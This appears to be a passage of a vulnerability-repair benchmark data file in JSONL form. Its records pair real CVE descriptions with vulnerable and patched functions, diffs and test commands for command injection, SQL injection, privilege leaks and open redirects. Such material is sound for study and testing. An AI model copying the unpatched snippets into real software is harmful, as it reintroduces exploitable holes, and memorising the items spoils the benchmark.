/workspace/fix.patch\n/workspace/PoC_env/CVE-2023-39631/bin/python -m pytest numexpr/tests/test_numexpr.py -k \"not test_illegal_value and not test_re_evaluate_dict and not test_validate_dict\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2021-23363", "cve_description": "This affects the package kill-by-port before 0.0.2. If (attacker-controlled) user input is given to the killByPort function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/GuyMograbi/kill-by-port", "patch_url": ["https://github.com/GuyMograbi/kill-by-port/commit/ea5b1f377e196a4492e05ff070eba8b30b7372c4"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_10_1", "commit": "16dcbe2", "file_path": "index.js", "start_line": 5, "end_line": 16, "snippet": "exports.killByPort = function (port) {\n  var processId = null\n  try {\n    processId = exec(`lsof -t -i:${port}`)\n  } catch (e) {\n\n  }\n\n  if (processId !== null) { // if exists kill\n    exec(`kill ${processId}`)\n  }\n}"}], "fix_func": [{"id": "fix_js_10_1", "commit": "ea5b1f3", "file_path": "index.js", "start_line": 5, "end_line": 16, "snippet": "exports.killByPort = function (port) {\n  var processId = null\n  try {\n    processId = exec(`lsof -t -i:${parseInt(port, 10)}`)\n  } catch (e) {\n\n  }\n\n  if (processId !== null) { // if exists kill\n    exec(`kill ${processId}`)\n  }\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,7 +1,7 @@\n exports.killByPort = function (port) {\n   var processId = null\n   try {\n-    processId = exec(`lsof -t -i:${port}`)\n+    processId = exec(`lsof -t -i:${parseInt(port, 10)}`)\n   } catch (e) {\n \n   }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23363:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/kill-by-port\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23363:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/kill-by-port\ngit apply --whitespace=nowarn /workspace/fix.patch\nNODE_OPTIONS=\"--no-warnings\" npm test\n"}
{"cve_id": "CVE-2022-3422", "cve_description": "Account Takeover :: when see the info i can see the hash pass i can creaked it ............... Account Takeover :: when see the info i can see the forgot_password_token the hacker can send the request and changed the pass", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/tooljet/tooljet", "patch_url": ["https://github.com/tooljet/tooljet/commit/7879d8a76000c014533a97a22bc276afe3ae3e54"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_174_1", "commit": "14ccab3", "file_path": "server/src/services/group_permissions.service.ts", "start_line": 304, "end_line": 317, "snippet": "  async findUsers(user: User, groupPermissionId: string): Promise<User[]> {\n    return createQueryBuilder(User, 'users')\n      .innerJoinAndSelect('users.groupPermissions', 'group_permissions')\n      .innerJoinAndSelect('users.userGroupPermissions', 'user_group_permissions')\n      .where('group_permissions.id = :groupPermissionId', {\n        groupPermissionId,\n      })\n      .andWhere('group_permissions.organization_id = :organizationId', {\n        organizationId: user.organizationId,\n      })\n      .andWhere('user_group_permissions.group_permission_id = :groupPermissionId', { groupPermissionId })\n      .orderBy('users.created_at', 'DESC')\n      .getMany();\n  }"}], "fix_func": [{"id": "fix_js_174_1", "commit": "7879d8a", "file_path": "server/src/services/group_permissions.service.ts", "start_line": 304, "end_line": 318, "snippet": "  async findUsers(user: User, groupPermissionId: string): Promise<User[]> {\n    return createQueryBuilder(User, 'users')\n      .select(['users.id', 'users.firstName', 'users.lastName', 'users.email'])\n      .innerJoin('users.groupPermissions', 'group_permissions')\n      .innerJoin('users.userGroupPermissions', 'user_group_permissions')\n      .where('group_permissions.id = :groupPermissionId', {\n        groupPermissionId,\n      })\n      .andWhere('group_permissions.organization_id = :organizationId', {\n        organizationId: user.organizationId,\n      })\n      .andWhere('user_group_permissions.group_permission_id = :groupPermissionId', { groupPermissionId })\n      .orderBy('users.created_at', 'DESC')\n      .getMany();\n  }"}], "vul_patch": "--- a/server/src/services/group_permissions.service.ts\n+++ b/server/src/services/group_permissions.service.ts\n@@ -1,7 +1,8 @@\n   async findUsers(user: User, groupPermissionId: string): Promise<User[]> {\n     return createQueryBuilder(User, 'users')\n-      .innerJoinAndSelect('users.groupPermissions', 'group_permissions')\n-      .innerJoinAndSelect('users.userGroupPermissions', 'user_group_permissions')\n+      .select(['users.id', 'users.firstName', 'users.lastName', 'users.email'])\n+      .innerJoin('users.groupPermissions', 'group_permissions')\n+      .innerJoin('users.userGroupPermissions', 'user_group_permissions')\n       .where('group_permissions.id = :groupPermissionId', {\n         groupPermissionId,\n       })\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1883", "cve_description": "SQL Injection in GitHub repository camptocamp/terraboard prior to 2.2.0.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/camptocamp/terraboard", "patch_url": ["https://github.com/camptocamp/terraboard/commit/2a5dbaac015dc0714b41a59995e24f5767f89ddc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_31_1", "commit": "608d9d5", "file_path": "db/db.go", "start_line": 323, "end_line": 411, "snippet": "func (db *Database) SearchAttribute(query url.Values) (results []types.SearchResult, page int, total int) {\n\tlog.WithFields(log.Fields{\n\t\t\"query\": query,\n\t}).Info(\"Searching for attribute with query\")\n\n\ttargetVersion := string(query.Get(\"versionid\"))\n\n\tsqlQuery := \"\"\n\tif targetVersion == \"\" {\n\t\tsqlQuery += \" FROM (SELECT states.path, max(states.serial) as mx FROM states GROUP BY states.path) t\" +\n\t\t\t\" JOIN states ON t.path = states.path AND t.mx = states.serial\"\n\t} else {\n\t\tsqlQuery += \" FROM states\"\n\t}\n\n\tsqlQuery += \" JOIN modules ON states.id = modules.state_id\" +\n\t\t\" JOIN resources ON modules.id = resources.module_id\" +\n\t\t\" JOIN attributes ON resources.id = attributes.resource_id\" +\n\t\t\" JOIN lineages ON lineages.id = states.lineage_id\" +\n\t\t\" JOIN versions ON states.version_id = versions.id\"\n\n\tvar where []string\n\tvar params []interface{}\n\tif targetVersion != \"\" && targetVersion != \"*\" {\n\t\t// filter by version unless we want all (*) or most recent (\"\")\n\t\twhere = append(where, \"states.version_id = ?\")\n\t\tparams = append(params, targetVersion)\n\t}\n\n\tif v := string(query.Get(\"type\")); v != \"\" {\n\t\twhere = append(where, \"resources.type LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"name\")); v != \"\" {\n\t\twhere = append(where, \"resources.name LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"key\")); v != \"\" {\n\t\twhere = append(where, \"attributes.key LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"value\")); v != \"\" {\n\t\twhere = append(where, \"attributes.value LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := query.Get(\"tf_version\"); string(v) != \"\" {\n\t\twhere = append(where, fmt.Sprintf(\"states.tf_version LIKE '%s'\", fmt.Sprintf(\"%%%s%%\", v)))\n\t}\n\n\tif v := query.Get(\"lineage_value\"); string(v) != \"\" {\n\t\twhere = append(where, fmt.Sprintf(\"lineages.value LIKE '%s'\", fmt.Sprintf(\"%%%s%%\", v)))\n\t}\n\n\tif len(where) > 0 {\n\t\tsqlQuery += \" WHERE \" + strings.Join(where, \" AND \")\n\t}\n\n\t// Count everything\n\trow := db.Raw(\"SELECT count(*)\"+sqlQuery, params...).Row()\n\tif err := row.Scan(&total); err != nil {\n\t\tlog.Error(err.Error())\n\t}\n\n\t// Now get results\n\t// gorm doesn't support subqueries...\n\tsql := \"SELECT states.path, versions.version_id, states.tf_version, states.serial, lineages.value as lineage_value, modules.path as module_path, resources.type, resources.name, resources.index, attributes.key, attributes.value\" +\n\t\tsqlQuery +\n\t\t\" ORDER BY states.path, states.serial, lineage_value, modules.path, resources.type, resources.name, resources.index, attributes.key\" +\n\t\t\" LIMIT ?\"\n\n\tparams = append(params, pageSize)\n\n\tif v := string(query.Get(\"page\")); v != \"\" {\n\t\tpage, _ = strconv.Atoi(v) // TODO: err\n\t\to := (page - 1) * pageSize\n\t\tsql += \" OFFSET ?\"\n\t\tparams = append(params, o)\n\t} else {\n\t\tpage = 1\n\t}\n\n\tdb.Raw(sql, params...).Find(&results)\n\n\treturn\n}"}], "fix_func": [{"id": "fix_go_31_1", "commit": "2a5dbaa", "file_path": "db/db.go", "start_line": 323, "end_line": 413, "snippet": "func (db *Database) SearchAttribute(query url.Values) (results []types.SearchResult, page int, total int) {\n\tlog.WithFields(log.Fields{\n\t\t\"query\": query,\n\t}).Info(\"Searching for attribute with query\")\n\n\ttargetVersion := string(query.Get(\"versionid\"))\n\n\tsqlQuery := \"\"\n\tif targetVersion == \"\" {\n\t\tsqlQuery += \" FROM (SELECT states.path, max(states.serial) as mx FROM states GROUP BY states.path) t\" +\n\t\t\t\" JOIN states ON t.path = states.path AND t.mx = states.serial\"\n\t} else {\n\t\tsqlQuery += \" FROM states\"\n\t}\n\n\tsqlQuery += \" JOIN modules ON states.id = modules.state_id\" +\n\t\t\" JOIN resources ON modules.id = resources.module_id\" +\n\t\t\" JOIN attributes ON resources.id = attributes.resource_id\" +\n\t\t\" JOIN lineages ON lineages.id = states.lineage_id\" +\n\t\t\" JOIN versions ON states.version_id = versions.id\"\n\n\tvar where []string\n\tvar params []interface{}\n\tif targetVersion != \"\" && targetVersion != \"*\" {\n\t\t// filter by version unless we want all (*) or most recent (\"\")\n\t\twhere = append(where, \"states.version_id = ?\")\n\t\tparams = append(params, targetVersion)\n\t}\n\n\tif v := string(query.Get(\"type\")); v != \"\" {\n\t\twhere = append(where, \"resources.type LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"name\")); v != \"\" {\n\t\twhere = append(where, \"resources.name LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"key\")); v != \"\" {\n\t\twhere = append(where, \"attributes.key LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"value\")); v != \"\" {\n\t\twhere = append(where, \"attributes.value LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := query.Get(\"tf_version\"); string(v) != \"\" {\n\t\twhere = append(where, \"states.tf_version LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := query.Get(\"lineage_value\"); string(v) != \"\" {\n\t\twhere = append(where, \"lineages.value LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif len(where) > 0 {\n\t\tsqlQuery += \" WHERE \" + strings.Join(where, \" AND \")\n\t}\n\n\t// Count everything\n\trow := db.Raw(\"SELECT count(*)\"+sqlQuery, params...).Row()\n\tif err := row.Scan(&total); err != nil {\n\t\tlog.Error(err.Error())\n\t}\n\n\t// Now get results\n\t// gorm doesn't support subqueries...\n\tsql := \"SELECT states.path, versions.version_id, states.tf_version, states.serial, lineages.value as lineage_value, modules.path as module_path, resources.type, resources.name, resources.index, attributes.key, attributes.value\" +\n\t\tsqlQuery +\n\t\t\" ORDER BY states.path, states.serial, lineage_value, modules.path, resources.type, resources.name, resources.index, attributes.key\" +\n\t\t\" LIMIT ?\"\n\n\tparams = append(params, pageSize)\n\n\tif v := string(query.Get(\"page\")); v != \"\" {\n\t\tpage, _ = strconv.Atoi(v) // TODO: err\n\t\to := (page - 1) * pageSize\n\t\tsql += \" OFFSET ?\"\n\t\tparams = append(params, o)\n\t} else {\n\t\tpage = 1\n\t}\n\n\tdb.Raw(sql, params...).Find(&results)\n\n\treturn\n}"}], "vul_patch": "--- a/db/db.go\n+++ b/db/db.go\n@@ -48,11 +48,13 @@\n \t}\n \n \tif v := query.Get(\"tf_version\"); string(v) != \"\" {\n-\t\twhere = append(where, fmt.Sprintf(\"states.tf_version LIKE '%s'\", fmt.Sprintf(\"%%%s%%\", v)))\n+\t\twhere = append(where, \"states.tf_version LIKE ?\")\n+\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n \t}\n \n \tif v := query.Get(\"lineage_value\"); string(v) != \"\" {\n-\t\twhere = append(where, fmt.Sprintf(\"lineages.value LIKE '%s'\", fmt.Sprintf(\"%%%s%%\", v)))\n+\t\twhere = append(where, \"lineages.value LIKE ?\")\n+\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n \t}\n \n \tif len(where) > 0 {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-1883:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/terraboard\nrm -rf ./db/db_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestSearchAttribute_SQLInjectionProtection$ github.com/camptocamp/terraboard/db\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-1883:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/terraboard\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test  -timeout 30s -run '^(TestGetResourceIndex|TestMarshalAttributeValues|TestInsertState|TestUpdateStateWithLineage|TestUpdateStateWithoutLineage|TestUpdateStateFail|TestGetState|TestGetLineageActivity|TestInsertVersionCreated|TestKnownVersions|TestL istStatesVersions|TestListTerraformVersionsWithCount|TestListStateStats|TestListResourceTypes|TestList ResourceTypesWithCount|TestListResourceNames|TestListTfVersions|TestListAttributeKeys|TestInsertPlan|T estGetPlansSummary|TestGetPlan|TestGetPlans|TestGetLineages|TestDefaultVersion|TestClose)$' github.com/camptocamp/terraboard/db"}
{"cve_id": "CVE-2021-21291", "cve_description": "OAuth2 Proxy is an open-source reverse proxy and static file server that provides authentication using Providers (Google, GitHub, and others) to validate accounts by email, domain or group. In OAuth2 Proxy before version 7.0.0, for users that use the whitelist domain feature, a domain that ended in a similar way to the intended domain could have been allowed as a redirect. For example, if a whitelist domain was configured for \".example.com\", the intention is that subdomains of example.com are allowed. Instead, \"example.com\" and \"badexample.com\" could also match. This is fixed in version 7.0.0 onwards. As a workaround, one can disable the whitelist domain feature and run separate OAuth2 Proxy instances for each subdomain.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/oauth2-proxy/oauth2-proxy", "patch_url": ["https://github.com/oauth2-proxy/oauth2-proxy/commit/780ae4f3c99b579cb2ea9845121caebb6192f725"], "programing_language": "Go", "vul_func": [{"id": "vul_go_12_1", "commit": "48b1658", "file_path": "oauthproxy.go", "start_line": 425, "end_line": 466, "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase redirect == \"\":\n\t\t// The user didn't specify a redirect, should fallback to `/`\n\t\treturn false\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !invalidRedirectRegex.MatchString(redirect):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"Rejecting invalid redirect %q: scheme unsupported or missing\", redirect)\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, domain := range p.whitelistDomains {\n\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n\t\t\tif domainHostname == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif (domainPort == \"*\") ||\n\t\t\t\t\t(domainPort == redirectPort) ||\n\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: domain / port not in whitelist\", redirect)\n\t\treturn false\n\tdefault:\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: not an absolute or relative URL\", redirect)\n\t\treturn false\n\t}\n}"}], "fix_func": [{"id": "fix_go_12_1", "commit": "780ae4f", "file_path": "oauthproxy.go", "start_line": 425, "end_line": 468, "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase redirect == \"\":\n\t\t// The user didn't specify a redirect, should fallback to `/`\n\t\treturn false\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !invalidRedirectRegex.MatchString(redirect):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"Rejecting invalid redirect %q: scheme unsupported or missing\", redirect)\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, allowedDomain := range p.whitelistDomains {\n\t\t\tallowedHost, allowedPort := splitHostPort(allowedDomain)\n\t\t\tif allowedHost == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif redirectHostname == strings.TrimPrefix(allowedHost, \".\") ||\n\t\t\t\t(strings.HasPrefix(allowedHost, \".\") &&\n\t\t\t\t\tstrings.HasSuffix(redirectHostname, allowedHost)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif allowedPort == \"*\" ||\n\t\t\t\t\tallowedPort == redirectPort ||\n\t\t\t\t\t(allowedPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: domain / port not in whitelist\", redirect)\n\t\treturn false\n\tdefault:\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: not an absolute or relative URL\", redirect)\n\t\treturn false\n\t}\n}"}], "vul_patch": "--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -13,21 +13,23 @@\n \t\t}\n \t\tredirectHostname := redirectURL.Hostname()\n \n-\t\tfor _, domain := range p.whitelistDomains {\n-\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n-\t\t\tif domainHostname == \"\" {\n+\t\tfor _, allowedDomain := range p.whitelistDomains {\n+\t\t\tallowedHost, allowedPort := splitHostPort(allowedDomain)\n+\t\t\tif allowedHost == \"\" {\n \t\t\t\tcontinue\n \t\t\t}\n \n-\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n+\t\t\tif redirectHostname == strings.TrimPrefix(allowedHost, \".\") ||\n+\t\t\t\t(strings.HasPrefix(allowedHost, \".\") &&\n+\t\t\t\t\tstrings.HasSuffix(redirectHostname, allowedHost)) {\n \t\t\t\t// the domain names match, now validate the ports\n \t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n \t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n \t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n \t\t\t\tredirectPort := redirectURL.Port()\n-\t\t\t\tif (domainPort == \"*\") ||\n-\t\t\t\t\t(domainPort == redirectPort) ||\n-\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n+\t\t\t\tif allowedPort == \"*\" ||\n+\t\t\t\t\tallowedPort == redirectPort ||\n+\t\t\t\t\t(allowedPort == \"\" && redirectPort == \"\") {\n \t\t\t\t\treturn true\n \t\t\t\t}\n \t\t\t}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21291:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/oauth2-proxy\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestIsValidRedirect$ github.com/oauth2-proxy/oauth2-proxy/v7\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21291:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/oauth2-proxy\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestPassGroupsHeadersWithGroups|TestProcessCookieFailIfRefreshSetAndCookieExpired|TestForwardAccessTokenUpstream|TestIsValidRedirect|TestSignInPageIncludesTargetRedirect|TestDoNotForwardAccessTokenUpstream|TestGetJwtSession|TestAjaxForbiddendRequest|Test_enrichSession|TestUserInfoEndpointAccepted|TestLoadCookiedSession|TestAjaxUnauthorizedRequest2|TestClearSingleCookie|TestProxyAllowedGroups|TestUserInfoEndpointUnauthorizedOnNoCookieSetError|TestAuthOnlyEndpointUnauthorizedOnExpiration|TestAjaxUnauthorizedRequestAccept1|TestProcessCookieNoCookieError|Test_redeemCode|TestSignInPageDirectAccessRedirectsToRoot|TestAuthOnlyEndpointUnauthorizedOnNoCookieSetError|Test_buildRoutesAllowlist|TestAuthOnlyEndpointSetBasicAuthFalseRequestHeaders|Test_getAppRedirect|TestAjaxUnauthorizedRequest1|TestAuthSkippedForPreflightRequests|TestProcessCookieFailIfCookieExpired|TestAuthOnlyEndpointSetXAuthRequestHeaders|TestBasicAuthPassword|TestAuthOnlyAllowedGroups|TestRequestSignature|TestSignInPageSkipProviderDirect|TestRobotsTxt|TestAuthOnlyEndpointUnauthorizedOnEmailValidationFailure|TestTrustedIPs|TestSignInPageSkipProvider|TestProcessCookieRefreshNotSet|TestAuthOnlyEndpointAccepted|Test_prepareNoCache|TestClearSplitCookie|TestOpenRedirects|TestAuthOnlyEndpointSetBasicAuthTrueRequestHeaders|Test_noCacheHeaders|TestStaticProxyUpstream|TestAllowedRequest)$' github.com/oauth2-proxy/oauth2-proxy/v7"}
{"cve_id": "CVE-2020-15272", "cve_description": "In the git-tag-annotation-action (open source GitHub Action) before version 1.0.1, an attacker can execute arbitrary (*) shell commands if they can control the value of [the `tag` input] or manage to alter the value of [the `GITHUB_REF` environment variable]. The problem has been patched in version 1.0.1. If you don't use the `tag` input you are most likely safe. The `GITHUB_REF` environment variable is protected by the GitHub Actions environment so attacks from there should be impossible. If you must use the `tag` input and cannot upgrade to `> 1.0.0` make sure that the value is not controlled by another Action.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ericcornelissen/git-tag-annotation-action", "patch_url": ["https://github.com/ericcornelissen/git-tag-annotation-action/commit/9f30756375cc4b1b6c66f274fc9c591fa901455a"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_149_1", "commit": "7455eac", "file_path": "src/main.js", "start_line": 4, "end_line": 21, "snippet": "function main() {\n  try {\n    let tag = process.env.GITHUB_REF;\n    if (core.getInput('tag')) {\n      tag = `refs/tags/${core.getInput('tag')}`;\n    }\n\n    exec(`git for-each-ref --format='%(contents)' ${tag}`, (err, stdout) => {\n      if (err) {\n        core.setFailed(err);\n      } else {\n        core.setOutput('git-tag-annotation', stdout);\n      }\n    });\n  } catch (error) {\n    core.setFailed(error.message);\n  }\n}"}], "fix_func": [{"id": "fix_js_149_1", "commit": "9f30756", "file_path": "src/main.js", "start_line": 5, "end_line": 7, "snippet": "function escapeShellArg(arg) {\n  return arg.replace(/'/g, `'\\\\''`);\n}"}, {"id": "fix_js_149_2", "commit": "9f30756", "file_path": "src/main.js", "start_line": 9, "end_line": 29, "snippet": "function main() {\n  try {\n    let tag = process.env.GITHUB_REF;\n    if (core.getInput('tag')) {\n      tag = `refs/tags/${core.getInput('tag')}`;\n    }\n\n    exec(\n      `git for-each-ref --format='%(contents)' '${escapeShellArg(tag)}'`,\n      (err, stdout) => {\n        if (err) {\n          core.setFailed(err);\n        } else {\n          core.setOutput('git-tag-annotation', stdout);\n        }\n      },\n    );\n  } catch (error) {\n    core.setFailed(error.message);\n  }\n}"}], "vul_patch": "--- a/src/main.js\n+++ b/src/main.js\n@@ -1,18 +1,3 @@\n-function main() {\n-  try {\n-    let tag = process.env.GITHUB_REF;\n-    if (core.getInput('tag')) {\n-      tag = `refs/tags/${core.getInput('tag')}`;\n-    }\n-\n-    exec(`git for-each-ref --format='%(contents)' ${tag}`, (err, stdout) => {\n-      if (err) {\n-        core.setFailed(err);\n-      } else {\n-        core.setOutput('git-tag-annotation', stdout);\n-      }\n-    });\n-  } catch (error) {\n-    core.setFailed(error.message);\n-  }\n+function escapeShellArg(arg) {\n+  return arg.replace(/'/g, `'\\\\''`);\n }\n\n--- /dev/null\n+++ b/src/main.js\n@@ -0,0 +1,21 @@\n+function main() {\n+  try {\n+    let tag = process.env.GITHUB_REF;\n+    if (core.getInput('tag')) {\n+      tag = `refs/tags/${core.getInput('tag')}`;\n+    }\n+\n+    exec(\n+      `git for-each-ref --format='%(contents)' '${escapeShellArg(tag)}'`,\n+      (err, stdout) => {\n+        if (err) {\n+          core.setFailed(err);\n+        } else {\n+          core.setOutput('git-tag-annotation', stdout);\n+        }\n+      },\n+    );\n+  } catch (error) {\n+    core.setFailed(error.message);\n+  }\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-42353", "cve_description": "WebOb provides objects for HTTP requests and responses. When WebOb normalizes the HTTP Location header to include the request hostname, it does so by parsing the URL that the user is to be redirected to with Python's urlparse, and joining it to the base URL. `urlparse` however treats a `//` at the start of a string as a URI without a scheme, and then treats the next part as the hostname. `urljoin` will then use that hostname from the second part as the hostname replacing the original one from the request. This vulnerability is patched in WebOb version 1.8.8.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/Pylons/webob", "patch_url": ["https://github.com/Pylons/webob/commit/f689bcf4f0a1f64f1735b1d5069aef5be6974b5b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_107_1", "commit": "7bf29f1", "file_path": "src/webob/response.py", "start_line": 1283, "end_line": 1288, "snippet": "    def _make_location_absolute(environ, value):\n        if SCHEME_RE.search(value):\n            return value\n\n        new_location = urlparse.urljoin(_request_uri(environ), value)\n        return new_location"}], "fix_func": [{"id": "fix_py_107_1", "commit": "f689bcf", "file_path": "src/webob/response.py", "start_line": 1283, "end_line": 1293, "snippet": "    def _make_location_absolute(environ, value):\n        if SCHEME_RE.search(value):\n            return value\n\n        # This is to fix an open redirect issue due to the way that\n        # urlparse.urljoin works. See CVE-2024-42353 and\n        # https://github.com/Pylons/webob/security/advisories/GHSA-mg3v-6m49-jhp3\n        if value.startswith(\"//\"):\n            value = \"/%2f{}\".format(value[2:])\n        new_location = urlparse.urljoin(_request_uri(environ), value)\n        return new_location"}], "vul_patch": "--- a/src/webob/response.py\n+++ b/src/webob/response.py\n@@ -2,5 +2,10 @@\n         if SCHEME_RE.search(value):\n             return value\n \n+        # This is to fix an open redirect issue due to the way that\n+        # urlparse.urljoin works. See CVE-2024-42353 and\n+        # https://github.com/Pylons/webob/security/advisories/GHSA-mg3v-6m49-jhp3\n+        if value.startswith(\"//\"):\n+            value = \"/%2f{}\".format(value[2:])\n         new_location = urlparse.urljoin(_request_uri(environ), value)\n         return new_location\n\n", "poc_patch": null, "unit_test_cmd": null}
